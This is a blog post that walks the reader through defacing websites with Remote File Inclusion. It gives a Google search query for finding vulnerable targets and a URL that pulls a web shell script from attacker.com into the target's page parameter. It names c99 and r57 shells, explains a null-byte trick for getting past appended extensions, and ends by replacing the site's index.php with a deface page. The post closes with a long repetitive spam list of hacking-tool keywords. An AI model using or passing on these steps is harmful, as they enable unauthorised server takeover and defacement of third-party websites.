HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?
Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.
RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.
SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?
First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.
As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.
inurl: "index.php?page=home"
At the place of home, you can also try some other pages like products, gallery and etc.
If you already a know RFI vulnerable website, then you don't need to find it through Google.
Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.
http://target.com/index.php?page=home
As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.
http://target.com/index.php?page=http://attacker.com/maliciousScript.txt
I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.
Now, if it's a really vulnerable website, then there would be 3 things that can happen.
- You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
- In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
- Successful execution.
As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.
More info
- Hack Tools
- Pentest Tools Website Vulnerability
- Termux Hacking Tools 2019
- Pentest Tools Review
- Pentest Tools Free
- Hack Tools Download
- Pentest Tools Android
- Pentest Tools Windows
- Nsa Hack Tools
- Hacker Tool Kit
- Hacking Tools Name
- Pentest Tools List
- Hacker
- Hack Tools For Pc
- World No 1 Hacker Software
- Hacking Tools
- Pentest Automation Tools
- Hack Tools Online
- Hack Tools For Pc
- Pentest Tools
- Tools For Hacker
- Hacking App
- Best Hacking Tools 2020
- Hack Tools Pc
- What Are Hacking Tools
- Hack Tools 2019
- Hack Website Online Tool
- Hacking Tools For Beginners
- Hack Tools Online
- Ethical Hacker Tools
- Best Hacking Tools 2020
- Underground Hacker Sites
- Hacks And Tools
- Pentest Tools Kali Linux
- Hacking Tools Usb
- Hack Tools Github
- Hack Tools For Games
- Hacking Tools 2020
- Usb Pentest Tools
- How To Install Pentest Tools In Ubuntu
- Hacker Tools 2020
- Github Hacking Tools
- How To Hack
- Hacker Tools Apk
- Hacking Tools Pc
- Hacking Tools Kit
- Hacker Tools For Windows
- Hacking Tools Windows 10
- Pentest Tools Free
- Pentest Tools For Windows
- Pentest Automation Tools
- Hacking Tools 2019
- Hacker Hardware Tools
- Hack Tool Apk No Root
- Computer Hacker
- Hacking Tools For Windows Free Download
- Hack Tools Pc
- Hack And Tools
- Hacking Apps
- Pentest Tools For Android
- Hacking Tools 2020
- Hacker
- Pentest Tools Apk
- Best Hacking Tools 2020
- Hacking Tools Download
- Pentest Tools Apk
- Pentest Tools Android
- Pentest Tools Online
- Hacking Tools 2019
- Hacking Apps
- Hack Tool Apk
- Hack Tool Apk
- Github Hacking Tools
- Hacking Tools And Software
No hay comentarios:
Publicar un comentario